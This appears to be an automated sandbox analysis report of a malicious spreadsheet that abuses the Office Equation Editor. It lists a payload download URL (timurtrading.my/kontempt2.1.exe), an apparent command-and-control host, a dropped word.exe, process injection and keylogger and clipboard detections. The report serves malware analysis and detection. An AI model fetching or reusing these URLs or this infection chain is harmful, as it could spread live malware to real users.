Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundserver: openrestydate: Mon, 21 Oct 2024 09:30:04 GMTcontent-type: text/htmlcontent-length: 150x-powered-by: PHP/7.2.30connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: EQNEDT32.EXE, 00000002.00000003.460927398.000000000068E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460927398.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.461489671.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.461489671.00000000006B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://timurtrading.my/kontempt2.1.exe
Source: EQNEDT32.EXE, 00000002.00000002.461489671.000000000064F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://timurtrading.my/kontempt2.1.exet
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: XAgFxCrXhYKjE.exe, 0000000A.00000002.670976713.0000000001D6C000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.jilifish.win
Source: XAgFxCrXhYKjE.exe, 0000000A.00000002.670976713.0000000001D6C000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.jilifish.win/to3j/
Source: msinfo32.exe, 00000008.00000002.672775855.0000000061ED1000.00000008.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: msinfo32.exe, 00000008.00000003.584885355.0000000006133000.00000004.00000020.00020000.00000000.sdmp, 7yj1259-.8.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000003.460927398.000000000069D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.461489671.000000000069D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.461489671.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460927398.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://timurtrading.my/
Source: EQNEDT32.EXE, 00000002.00000002.461489671.000000000068E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460927398.000000000068E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460927398.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.461489671.00000000006B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://timurtrading.my/kontempt2.1.exe
Source: EQNEDT32.EXE, 00000002.00000002.461489671.000000000064F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://timurtrading.my/kontempt2.1.exeppC:
Source: 7yj1259-.8.dr String found in binary or memory: https://www.google.com/favicon.ico
Source: unknown Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown HTTPS traffic detected: 192.3.255.145:443 -> 192.168.2.22:49162 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard, 5_2_0046C5D0
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 5_2_00459FFF
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard, 5_2_0046C5D0
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW, 5_2_00456354
Potential key logger detected (key state polling based)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 5_2_0047C08E

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\word.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\kontempt2.1[1].exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\svchost.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0042C623 NtClose, 6_2_0042C623
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB07AC NtCreateMutant,LdrInitializeThunk, 6_2_00AB07AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAF9F0 NtClose,LdrInitializeThunk, 6_2_00AAF9F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFAE8 NtQueryInformationProcess,LdrInitializeThunk, 6_2_00AAFAE8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFB68 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_00AAFB68
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFDC0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_00AAFDC0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB00C4 NtCreateFile, 6_2_00AB00C4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB0060 NtQuerySection, 6_2_00AB0060
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB0078 NtResumeThread, 6_2_00AB0078
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB0048 NtProtectVirtualMemory, 6_2_00AB0048
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB01D4 NtSetValueKey, 6_2_00AB01D4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB010C NtOpenDirectoryObject, 6_2_00AB010C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB0C40 NtGetContextThread, 6_2_00AB0C40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB10D0 NtOpenProcessToken, 6_2_00AB10D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB1148 NtOpenThread, 6_2_00AB1148
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAF8CC NtWaitForSingleObject, 6_2_00AAF8CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAF938 NtWriteFile, 6_2_00AAF938
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB1930 NtSetContextThread, 6_2_00AB1930
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAF900 NtReadFile, 6_2_00AAF900
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFAB8 NtQueryValueKey, 6_2_00AAFAB8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFAD0 NtAllocateVirtualMemory, 6_2_00AAFAD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFA20 NtQueryInformationFile, 6_2_00AAFA20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFA50 NtEnumerateValueKey, 6_2_00AAFA50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFBB8 NtQueryInformationToken, 6_2_00AAFBB8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFBE8 NtQueryVirtualMemory, 6_2_00AAFBE8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFB50 NtCreateKey, 6_2_00AAFB50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFC90 NtUnmapViewOfSection, 6_2_00AAFC90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFC30 NtOpenProcess, 6_2_00AAFC30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFC60 NtMapViewOfSection, 6_2_00AAFC60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFC48 NtSetInformationFile, 6_2_00AAFC48
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFD8C NtDelayExecution, 6_2_00AAFD8C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB1D80 NtSuspendThread, 6_2_00AB1D80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFD5C NtEnumerateKey, 6_2_00AAFD5C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFEA0 NtReadVirtualMemory, 6_2_00AAFEA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFED0 NtAdjustPrivilegesToken, 6_2_00AAFED0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFE24 NtWriteVirtualMemory, 6_2_00AAFE24
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFFB4 NtCreateSection, 6_2_00AAFFB4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFFFC NtCreateProcessEx, 6_2_00AAFFFC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AAFF34 NtQueueApcThread, 6_2_00AAFF34
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle, 5_2_00434D50
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 5_2_004461ED
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState, 5_2_004364AA
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00412038 5_2_00412038
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0047E1FA 5_2_0047E1FA
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0041A46B 5_2_0041A46B
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0041240C 5_2_0041240C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00446566 5_2_00446566
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004045E0 5_2_004045E0
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00412818 5_2_00412818
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0047CBF0 5_2_0047CBF0
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00412C38 5_2_00412C38
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00424F70 5_2_00424F70
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0041AF0D 5_2_0041AF0D
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00427161 5_2_00427161
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004212BE 5_2_004212BE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00443390 5_2_00443390
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00443391 5_2_00443391
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0041D750 5_2_0041D750
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004037E0 5_2_004037E0
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00427859 5_2_00427859
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040F890 5_2_0040F890
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0042397B 5_2_0042397B
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00409A40 5_2_00409A40
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00411B63 5_2_00411B63
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00423EBF 5_2_00423EBF
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_035157D0 5_2_035157D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004185E3 6_2_004185E3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00416823 6_2_00416823
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00403090 6_2_00403090
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00410093 6_2_00410093
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040E113 6_2_0040E113
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004011F0 6_2_004011F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00402390 6_2_00402390
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00402BAE 6_2_00402BAE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0042EC63 6_2_0042EC63
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040FE6A 6_2_0040FE6A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040FE73 6_2_0040FE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004026F0 6_2_004026F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ABE0C6 6_2_00ABE0C6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ABE2E9 6_2_00ABE2E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B663BF 6_2_00B663BF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AE63DB 6_2_00AE63DB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC2305 6_2_00AC2305
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B0A37B 6_2_00B0A37B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4443E 6_2_00B4443E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B405E3 6_2_00B405E3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ADC5F0 6_2_00ADC5F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B06540 6_2_00B06540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC4680 6_2_00AC4680
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ACE6C1 6_2_00ACE6C1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B0A634 6_2_00B0A634
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B62622 6_2_00B62622
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ACC7BC 6_2_00ACC7BC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AE286D 6_2_00AE286D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ACC85C 6_2_00ACC85C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC29B2 6_2_00AC29B2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B6098E 6_2_00B6098E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B549F5 6_2_00B549F5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AD69FE 6_2_00AD69FE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B0C920 6_2_00B0C920
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B6CBA4 6_2_00B6CBA4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B46BCB 6_2_00B46BCB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B62C9C 6_2_00B62C9C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4AC5E 6_2_00B4AC5E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AF0D3B 6_2_00AF0D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ACCD5B 6_2_00ACCD5B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AF2E2F 6_2_00AF2E2F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ADEE4C 6_2_00ADEE4C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B5CFB1 6_2_00B5CFB1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B32FDC 6_2_00B32FDC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AD0F3F 6_2_00AD0F3F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AED005 6_2_00AED005
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B3D06D 6_2_00B3D06D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC3040 6_2_00AC3040
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AD905A 6_2_00AD905A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4D13F 6_2_00B4D13F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B61238 6_2_00B61238
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ABF3CF 6_2_00ABF3CF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC7353 6_2_00AC7353
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AD1489 6_2_00AD1489
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AF5485 6_2_00AF5485
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AFD47D 6_2_00AFD47D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B635DA 6_2_00B635DA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC351F 6_2_00AC351F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4579A 6_2_00B4579A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AF57C3 6_2_00AF57C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B5771D 6_2_00B5771D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B5F8EE 6_2_00B5F8EE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B3F8C4 6_2_00B3F8C4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B45955 6_2_00B45955
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4394B 6_2_00B4394B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B73A83 6_2_00B73A83
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4DBDA 6_2_00B4DBDA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ABFBD7 6_2_00ABFBD7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AE7B00 6_2_00AE7B00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B5FDDD 6_2_00B5FDDD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B4BF14 6_2_00B4BF14
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AEDF7C 6_2_00AEDF7C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61EAB6F3 8_2_61EAB6F3
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E941FB 8_2_61E941FB
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E1519A 8_2_61E1519A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E530C0 8_2_61E530C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E213FB 8_2_61E213FB
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E88325 8_2_61E88325
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E4B559 8_2_61E4B559
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E8B53E 8_2_61E8B53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E1853F 8_2_61E1853F
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E874E5 8_2_61E874E5
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E10721 8_2_61E10721
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E556B7 8_2_61E556B7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E3782E 8_2_61E3782E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E4CBB1 8_2_61E4CBB1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E52B5D 8_2_61E52B5D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E31CF8 8_2_61E31CF8
